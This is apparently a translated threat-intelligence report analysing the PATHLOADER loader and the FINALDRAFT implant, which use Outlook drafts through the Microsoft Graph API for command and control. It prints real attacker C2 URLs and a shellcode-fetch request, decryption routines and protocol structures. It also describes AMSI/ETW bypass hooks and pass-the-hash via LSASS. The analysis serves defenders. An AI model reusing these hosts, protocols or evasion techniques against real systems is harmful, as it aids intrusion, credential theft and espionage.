Resumo

Ao investigar o REF7707, o Elastic Security Labs descobriu uma nova família de malware até então desconhecida que utiliza o Outlook como um canal de comunicação por meio da API do Microsoft Graph. Este kit de pós-exploração inclui um carregador, um backdoor e vários submódulos que permitem atividades avançadas de pós-exploração.

Nossa análise descobriu uma variante Linux e uma variante PE mais antiga do malware, cada uma com várias versões distintas, o que sugere que essas ferramentas estão em desenvolvimento há algum tempo.

A completude das ferramentas e o nível de engenharia envolvido sugerem que os desenvolvedores são bem organizados. O longo período da operação e as evidências de nossa telemetria sugerem que provavelmente se trata de uma campanha voltada para espionagem.

Este relatório detalha os recursos e capacidades dessas ferramentas.

Para a análise da campanha REF7707, confira Da América do Sul ao Sudeste Asiático: a frágil rede do REF7707.

Análise Técnica

CARREGADOR DE CAMINHO

PATHLOADER é um arquivo do Windows PE que baixa e executa shellcode criptografado recuperado de infraestrutura externa.

Nossa equipe recuperou e descriptografou o shellcode recuperado pelo PATHLOADER, extraindo um novo implante que não vimos relatado publicamente, que chamamos de FINALDRAFT. Acreditamos que esses dois componentes são usados juntos para infiltrar ambientes sensíveis.

Configuração

PATHLOADER é um executável leve do Windows com 206 kilobytes; este programa baixa e executa shellcode hospedado em um servidor remoto. O PATHLOADER inclui uma configuração incorporada armazenada na seção .data que inclui C2 e outras configurações relevantes.

Após a decodificação em Base64 e a conversão da string hexadecimal incorporada, a configuração original é recuperada com dois domínios exclusivos com erros de digitação, semelhantes aos de fornecedores de segurança.

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Configuração do PATHLOADER

Hash de API

Para bloquear esforços de análise estática, o PATHLOADER executa o hash de API usando a função de hash Fowler–Noll–Vo . Isso pode ser observado com base no valor imediato 0x1000193 encontrado 37 vezes dentro do binário. A funcionalidade de hash da API aparece como in-line e não como uma função individual separada.

Ofuscação de Strings

O PATHLOADER usa criptografia de strings para ofuscar a funcionalidade de analistas que revisam o programa estaticamente. Embora as strings sejam fáceis de decifrar durante a execução ou usando um depurador, a ofuscação aparece na linha, aumentando a complexidade e tornando mais desafiador seguir o fluxo de controle. Essa ofuscação usa instruções SIMD (Instrução Única, Dados Múltiplos) e registradores XMM para transformar os dados.

Uma sequência de caracteres relacionada ao registro de códigos de erro WinHttpSendRequest usada pelo desenvolvedor do malware foi deixada sem criptografia.

Execução/Comportamento

Durante a execução, o PATHLOADER emprega uma combinação dos métodos GetTickCount64 e Sleep para evitar a execução imediata em um ambiente sandbox. Após alguns minutos, o PATHLOADER analisa sua configuração incorporada, percorrendo ambos os domínios C2 pré-configurados (poster.checkponit[.]com, support.fortineat[.]com) tentando baixar o shellcode por meio de solicitações HTTPS GET .

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

O shellcode é criptografado em AES e codificado em Base64. A descriptografia AES é realizada usando o caminho da URL de download do shellcode “/nzoMeFYgvjyXK3P” como a chave de 128 bits usada na chamada para a API CryptImportKey .

Após a chamada CryptDecrypt , o shellcode descriptografado é copiado para a memória alocada anteriormente. A página de memória é então definida como PAGE_EXECUTE_READ_WRITE usando a API NtProtectVirtualMemory . Depois que a página é definida com a proteção apropriada, o ponto de entrada do shellcode é chamado, que por sua vez carrega e executa o próximo estágio: FINALDRAFT.

ESBOÇO FINAL

FINALDRAFT é um malware de 64 bits escrito em C++ que se concentra na exfiltração de dados e injeção de processos. Ele inclui módulos adicionais, identificados como partes do kit FINALDRAFT, que podem ser injetados pelo malware. A saída desses módulos é então encaminhada para o servidor C2.

Ponto de entrada

FINALDRAFT exporta um único ponto de entrada como sua função de entrada. O nome desta função varia entre as amostras; nesta amostra, ela é chamada de UpdateTask.

Inicialização

O malware é inicializado carregando sua configuração e gerando um ID de sessão.

Processo de carregamento de configuração

A configuração é codificada no binário em um blob criptografado. Ele é descriptografado usando o seguinte algoritmo.

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Algoritmo de descriptografia para dados de configuração

A chave de descriptografia é derivada do ID do produto Windows (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId) ou de uma string localizada após o blob criptografado. Isso é determinado por um sinalizador global localizado após o blob de configuração criptografado.

O algoritmo de derivação da chave de descriptografia é executado da seguinte forma:

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Algoritmo de derivação de chave de descriptografia

A estrutura de configuração é descrita da seguinte forma:

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Estrutura de configuração

A configuração é consistente em todas as variantes e versões, embora nem todos os campos sejam utilizados. Por exemplo, o campo do método de comunicação não foi usado na variante principal no momento desta publicação, e apenas o método MSGraph/Outlook foi usado. Entretanto, esse não é o caso na variante ELF ou em versões anteriores do FINALDRAFT.

A configuração também contém uma URL do Pastebin, que não é usada em nenhuma das variantes. No entanto, esta URL foi bastante útil para nós, para nos adaptarmos à amostra inicial.

Processo de derivação de ID de sessão

O ID de sessão usado para comunicação entre FINALDRAFT e C2 é gerado pela criação de um GUID aleatório, que é então processado usando a função de hash Fowler-Noll-Vo (FNV).

Protocolo de comunicação

Durante nossa análise, descobrimos que diferentes métodos de comunicação estão disponíveis na configuração; no entanto, o exemplo mais contemporâneo neste momento usa apenas a classe COutlookTrans , que abusa do serviço de e-mail do Outlook por meio da API do Microsoft Graph. Essa mesma técnica foi observada no SIESTAGRAPH, uma família de malware até então desconhecida, relatada pelo Elastic Security Labs em fevereiro 2023 e atribuída a um grupo de ameaças afiliado à RPC.

O token da API do Microsoft Graph é obtido pelo FINALDRAFT usando https://login.microsoftonline.com/common/oauth2/token ponto final. O token de atualização usado para este endpoint está localizado na configuração.

Após a atualização, o token da API do Microsoft Graph é armazenado nos seguintes caminhos de registro, com base no fato de o usuário ter privilégios de administrador:

• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>

Este token é reutilizado em todas as solicitações, se ainda for válido.

O ciclo de comunicação é descrito da seguinte forma:

• Crie um rascunho de e-mail de sessão, caso ele ainda não exista.
• Leia e exclua rascunhos de e-mails de solicitação de comando criados pelo C2.
• Comandos de processo
• Escreva e-mails de resposta de comando como rascunhos para cada comando processado.

Uma verificação é realizada para determinar se um e-mail de sessão, no formato de um e-mail de resposta de comando identificado pelo assunto p_<session-id>, já existe. Caso contrário, um será criado nos rascunhos de e-mail. O conteúdo deste e-mail é codificado em base64, mas não criptografado em AES.

Os dados da sessão são descritos na estrutura abaixo.

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Estrutura de dados da sessão

A fila de comandos é preenchida verificando os últimos cinco e-mails de solicitação de comando C2 nos rascunhos de e-mail, que têm assuntos r_<session-id>.

Após a leitura da solicitação, os e-mails serão excluídos.

Os comandos são então processados e as respostas são escritas em novos rascunhos de e-mail, cada um com o mesmo assunto p_<session-id> para cada resposta de comando.

O conteúdo das solicitações e respostas de mensagens é compactado em Zlib , criptografado em AES CBC e codificado em Base64. A chave AES usada para criptografia e descriptografia está localizada no blob de configuração.

Base64(AESEncrypt(ZlibCompress(data)))

As mensagens de solicitação enviadas do C2 para o implante seguem esta estrutura.

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Estrutura da mensagem de solicitação

As mensagens de resposta enviadas do implante para C2 seguem esta estrutura.

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Estrutura da mensagem de resposta

Aqui está um exemplo de dados roubados pelo implante.

Comandos

O FinalDraft registra 37 manipuladores de comando, com a maioria dos recursos girando em torno de injeção de processo, manipulação de arquivos e recursos de proxy de rede.

Abaixo está uma tabela dos comandos e seus IDs:

Tabela do manipulador de comandos FINALDRAFT

Reúna informações do computador

Após a execução do comando GatherComputerInformation , informações sobre a máquina vítima são coletadas e enviadas pelo FINALDRAFT. Essas informações incluem o nome do computador, o nome de usuário da conta, endereços IP internos e externos e detalhes sobre os processos em execução.

Essa estrutura é descrita da seguinte forma:

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Estrutura de informação coletada

O endereço IP externo é coletado quando habilitado na configuração.

Este endereço é obtido pelo FINALDRAFT usando a seguinte lista de serviços públicos.

Lista de serviços de pesquisa de IP

Injeção de processo

O FINALDRAFT tem vários comandos relacionados à injeção de processos que podem injetar em processos em execução ou criar um processo oculto para injeção.

Nos casos em que um processo é criado, o processo de destino é um caminho executável fornecido como um parâmetro para o comando ou assume como padrão mspaint.exe ou conhost.exe como fallback.

Dependendo do comando e seus parâmetros, o processo pode ser criado opcionalmente com seu identificador de saída padrão canalizado. Nesse caso, depois que o processo é injetado, o FINALDRAFT lê a saída do pipe e envia seu conteúdo junto com a resposta do comando.

Existe outra opção onde, em vez de canalizar o identificador padrão do processo, o FINALDRAFT, depois de criar e injetar o processo, aguarda que a carga crie um pipe nomeado do Windows. Em seguida, ele se conecta ao pipe, grava algumas informações nele, lê sua saída e envia os dados para o C2 por meio de um canal separado. (No caso do canal de transporte do Outlook, isso envolve a criação de um rascunho de e-mail adicional.).

O procedimento de injeção de processo é básico e baseado em VirtualAllocEx, WriteProcessMemory e RtlCreateUserThread API.

Encaminhando dados de TCP, UDP e pipes nomeados

O FINALDRAFT oferece vários métodos de proxy de dados para C2, incluindo ouvintes UDP e TCP e um cliente de pipe nomeado.

O proxy de dados UDP e TCP envolve o tratamento de comunicações de entrada de forma diferente com base no protocolo. Para UDP, as mensagens são recebidas diretamente do remetente, enquanto para TCP, as conexões do cliente são aceitas antes de receber os dados. Em ambos os casos, os dados são lidos do soquete e encaminhados para o canal de transporte.

Abaixo está um exemplo de captura de tela da chamada recvfrom do ouvinte UDP.

Antes de iniciar o servidor de escuta TCP, o FINALDRAFT adiciona uma regra ao Firewall do Windows. Esta regra é removida quando o servidor é desligado. Para adicionar/remover essas regras, o malware usa as interfaces COM e INetFwPolicy2 e INetFwRule .

O FINALDRAFT também pode estabelecer uma conexão TCP com um alvo. Nesse caso, ele envia um valor mágico, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” , e espera que o servidor ecoe o mesmo valor mágico antes de começar a encaminhar os dados recebidos.

Para o pipe nomeado, FINALDRAFT conecta-se apenas a um pipe existente. O nome do pipe deve ser fornecido como um parâmetro para o comando, após o qual ele lê os dados e os encaminha por um canal separado.

Manipulação de arquivos

Para a funcionalidade de exclusão de arquivos, o FINALDRAFT impede a recuperação de arquivos sobrescrevendo os dados do arquivo com zeros antes de excluí-los.

O padrão do FINALDRAFT é CopyFileW para cópia de arquivos. Entretanto, se falhar, ele tentará copiar o arquivo no nível do cluster NTFS.

Primeiro, ele abre o arquivo de origem como um identificador de unidade. Para recuperar o tamanho do cluster do volume onde o arquivo reside, ele usa GetDiskFreeSpaceW para recuperar informações sobre o número de setores por cluster e bytes por setor. DeviceIoControl é então chamado com FSCTL_GET_RETRIEVAL_POINTERS para recuperar detalhes de extensões: locais no disco que armazenam os dados do arquivo especificado e quantos dados são armazenados lá em termos de tamanho do cluster.

Para cada extensão, ele usa SetFilePointer para mover o ponteiro do arquivo de origem para o deslocamento correspondente no volume; lendo e gravando um cluster de dados por vez do arquivo de origem para o arquivo de destino.

Se o arquivo não tiver mapeamentos de cluster associados, ele será um arquivo residente e os dados serão armazenados no próprio MFT. Ele usa o índice MFT do arquivo para obter seu registro MFT bruto. O registro é então analisado para localizar o atributo $DATA (identificador de tipo = 128). Os dados são então extraídos desse atributo e gravados no arquivo de destino usando WriteFile.

Módulos Injetados

Nossa equipe observou vários módulos adicionais carregados por meio do manipulador de comando DoProcessInjectionSendOutputEx executando injeção de processo e gravando a saída de volta por meio de um pipe nomeado. Este shellcode injetado pelo FINALDRAFT aproveita o conhecido projeto sRDI , permitindo o carregamento de uma DLL PE completa na memória dentro do mesmo processo, resolvendo suas importações e chamando seu ponto de entrada de exportação.

Enumeração de rede (ipconfig.x64.dll)

Este módulo cria um pipe nomeado (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1) aguardando que o FINALDRAFT se conecte a ele. Talvez para evitar análise/sandboxing, o agente da ameaça usou uma senha (Aslire597) como argumento. Se a senha estiver incorreta, o módulo não será executado.

Como o próprio nome sugere, este módulo é uma implementação personalizada do comando ipconfig que recupera informações de rede usando APIs do Windows (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) e lê o caminho da chave do registro do Windows (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces). Depois que os dados são recuperados, eles são enviados de volta ao FINALDRAFT por meio do pipe nomeado.

Execução do PowerShell (Psloader.x64.dll)

Este módulo permite que o operador execute comandos do PowerShell sem invocar o binário powershell.exe . O código usado foi retirado do PowerPick, uma conhecida ferramenta de segurança ofensiva de código aberto.

Para evitar a detecção, o módulo primeiro conecta as APIs EtwEventWrite, ReportEventW e AmsiScanBuffer , forçando-as a sempre retornar 0, o que desabilita o registro ETW e ignora as verificações antimalware.

Em seguida, a DLL carrega uma carga útil .NET (PowerPick) armazenada em sua seção .data usando a técnica de hospedagem CLR.

O módulo cria um pipe nomeado (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2) que é usado para encaminhamento de comando e recuperação de saída. O thread principal é designado como receptor, enquanto um thread secundário é criado para gravar dados no pipe. Por fim, o binário PowerPick gerenciado é carregado e executado pelo módulo.

Kit de ferramentas Pass-the-Hash (pnt.x64.dll)

Este módulo é um kit de ferramentas Pass-the-Hash (PTH) personalizado usado para iniciar novos processos com hashes NTLM roubados. Esta implementação do PTH é amplamente inspirada naquela usada por Mimikatz, permitindo movimento lateral.

Uma senha (Aslire597), domínio e nome de usuário com o hash NTLM, juntamente com o caminho do arquivo do programa a ser elevado, são necessários para este módulo. Em nosso exemplo, esta linha de comando é carregada pelo shellcode sRDI. Abaixo está um exemplo da linha de comando.

program.exe <password> <domain>\<account>:<ntlm_hash> <target_process>

Assim como o outro módulo, ele cria um pipe nomeado, ”\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9”, e aguarda conexões de entrada do FINALDRAFT. Este pipe nomeado serve como um canal de registro.

Após estabelecer a conexão do pipe, o malware cria um processo de destino em um estado suspenso usando CreateProcessWithLogonW, identifica estruturas-chave como LogonSessionList e LogonSessionListCount dentro do processo do Serviço de Subsistema de Autoridade de Segurança Local (LSASS), visando a sessão de logon especificada pelo argumento fornecido.

Depois que a sessão correta for correspondida, a estrutura de credencial atual dentro do LSASS será substituída pelo hash NTLM fornecido em vez do hash NTLM do usuário atual e, finalmente, o thread do processo será retomado. Essa técnica é bem explicada na postagem do blog "Por dentro do comando Mimikatz Pass-the-Hash (Parte 2)" do Praetorian. O resultado é então enviado para o pipe nomeado.

Variante FINALDRAFT ELF

Durante esta investigação, descobrimos uma variante ELF do FINALDRAFT. Esta versão suporta mais protocolos de transporte do que a versão PE, mas tem menos recursos, sugerindo que pode estar em desenvolvimento.

Canais de transporte adicionais

A variante ELF do FINALDRAFT suporta sete protocolos adicionais para canais de transporte C2:

Opções de comunicação da variante C2 do FINALDRAFT ELF

A partir das amostras ELF descobertas, identificamos implantes configurados para usar os canais HTTP e Outlook via Graph API.

Embora a estrutura do código seja semelhante à amostra PE mais contemporânea, no momento desta publicação, algumas partes da funcionalidade do implante foram modificadas para se adequarem ao ambiente Linux. Por exemplo, novos tokens de atualização do Microsoft OAuth solicitados são gravados em um arquivo no disco, /var/log/installlog.log.<UUID_from_config> ou /mnt/hgfsdisk.log.<UUID_from_config> caso não seja possível gravar no arquivo anterior.

Abaixo está um trecho da configuração que usa o canal HTTP. Podemos ver que dois servidores C2 são usados no lugar de um token de atualização da Microsoft, o número da porta 0x1bb (443) no deslocamento 0xc8 e o sinalizador para usar HTTPS no deslocamento 0xfc.

Os domínios são projetados intencionalmente para fazer typosquat de fornecedores conhecidos, como "VMSphere" (VMware vSphere). No entanto, não está claro qual fornecedor "Hobiter" está tentando representar neste caso.

Lista de domínios

Comandos

Todos os comandos se sobrepõem aos do Windows, mas oferecem menos opções. Existem dois comandos C2 dedicados a coletar informações sobre a máquina da vítima. Juntos, esses comandos reúnem os seguintes detalhes:

• Hostname
• Usuário conectado no momento
• Endereço IP da intranet
• Endereço IP externo
• Endereço IP do gateway
• Tempo de inicialização do sistema
• Nome e versão do sistema operacional
• Versão do kernel
• Arquitetura do sistema
• GUID da máquina
• Lista de conexões de rede ativas
• Lista de processos em execução
• Nome do processo atual

Execução de Comando

Embora não haja recursos de injeção de processo, o implante pode executar comandos de shell diretamente. Ele utiliza popen para execução de comandos, capturando tanto a saída padrão quanto os erros e enviando os resultados de volta para a infraestrutura C2.

Autoexclusão

Para resolver dinamicamente o caminho do executável em execução no momento, seu link simbólico apontando para a imagem executável é passado para sys_readlink. sys_unlink é então chamado para remover o arquivo executável do sistema de arquivos.

Exemplo antigo do FINALDRAFT PE

Durante nossa investigação, identificamos uma versão mais antiga do FINALDRAFT. Esta versão suporta metade dos comandos, mas inclui um protocolo de transporte adicional junto com o canal de transporte MS Graph API/Outlook.

O nome do binário é Session.x64.dll e sua exportação de ponto de entrada é chamada GoogleProxy:

Canal de transporte HTTP

Esta versão mais antiga do FINALDRAFT seleciona entre o canal de transporte Outlook ou HTTP com base na configuração.

Neste exemplo, a configuração contém uma lista de hosts em vez do token de atualização encontrado no exemplo principal. Esses mesmos domínios foram usados pelo PATHLOADER, o domínio (checkponit[.]com) foi registrado em 2022-08-26T09:43:16Z e o domínio (fortineat[.]com) foi registrado em 2023-11-08T09:47:47Z.

Os domínios erram propositalmente a tipografia de fornecedores realmente conhecidos, CheckPoint e Fortinet, neste caso.

Lista de domínios

Comando shell

Existe um comando adicional neste exemplo que não está presente em versões posteriores. Este comando, com ID 1, executa um comando shell.

A execução é realizada criando um processo cmd.exe com o parâmetro "/c" , seguido pela anexação do comando real ao parâmetro.

Detecção

O Elastic Defend detecta o mecanismo de injeção de processo por meio de duas regras. A primeira regra detecta a chamada de API WriteProcessMemory direcionada a outro processo, o que é um comportamento comum observado em técnicas de injeção de processo.

A segunda regra detecta a criação de um thread remoto para executar o shellcode.

Também detectamos o carregamento do mecanismo PowerShell pelo módulo Psloader.x64.dll , que é injetado no alvo conhecido mspaint.exe.

Malware e MITRE ATT&CK

A Elastic usa a estrutura MITRE ATT&CK para documentar táticas, técnicas e procedimentos comuns que as ameaças usam contra redes corporativas.

Táticas

• Command and Control (Comando e controle)
• Defense Evasion
• Descoberta
• Execução
• Exfiltração
• Movimento lateral

Técnicas

Técnicas representam como um adversário atinge um objetivo tático executando uma ação.

• Serviço Web: Comunicação Unidirecional
• Canal Criptografado: Criptografia Simétrica
• Ocultar Artefatos: Janela Oculta
• Mascaramento: corresponder a nome ou local legítimo
• Mascaramento: Renomear Utilitários do Sistema
• Injeção de Processo: Injeção de Executável Portátil
• Carregamento de código reflexivo
• Use material de autenticação alternativo: passe o hash
• Descoberta de serviço de rede
• Descoberta de Processos
• Registro de consulta
• Exfiltração sobre serviço da Web

Mitigações

Detecção

• Gravação de memória suspeita em um processo remoto
• ImageLoad incomum do mecanismo do PowerShell
• Bypass AMSI via memória sem backup
• AMSI or WLDP Bypass via Memory Patching
• Execução suspeita via serviço do Windows
• Execução via utilitário de depuração de linha de comando do Windows
• Relação suspeita entre pais e filhos

YARA

A Elastic Security criou as seguintes regras YARA relacionadas a esta postagem:

• Windows.Trojan.PathLoader
• Windows.Trojan.FinalDraft
• Linux.Trojan.FinalDraft
• Multi.Trojan.FinalDraft

Observações

Os seguintes observáveis foram discutidos nesta pesquisa: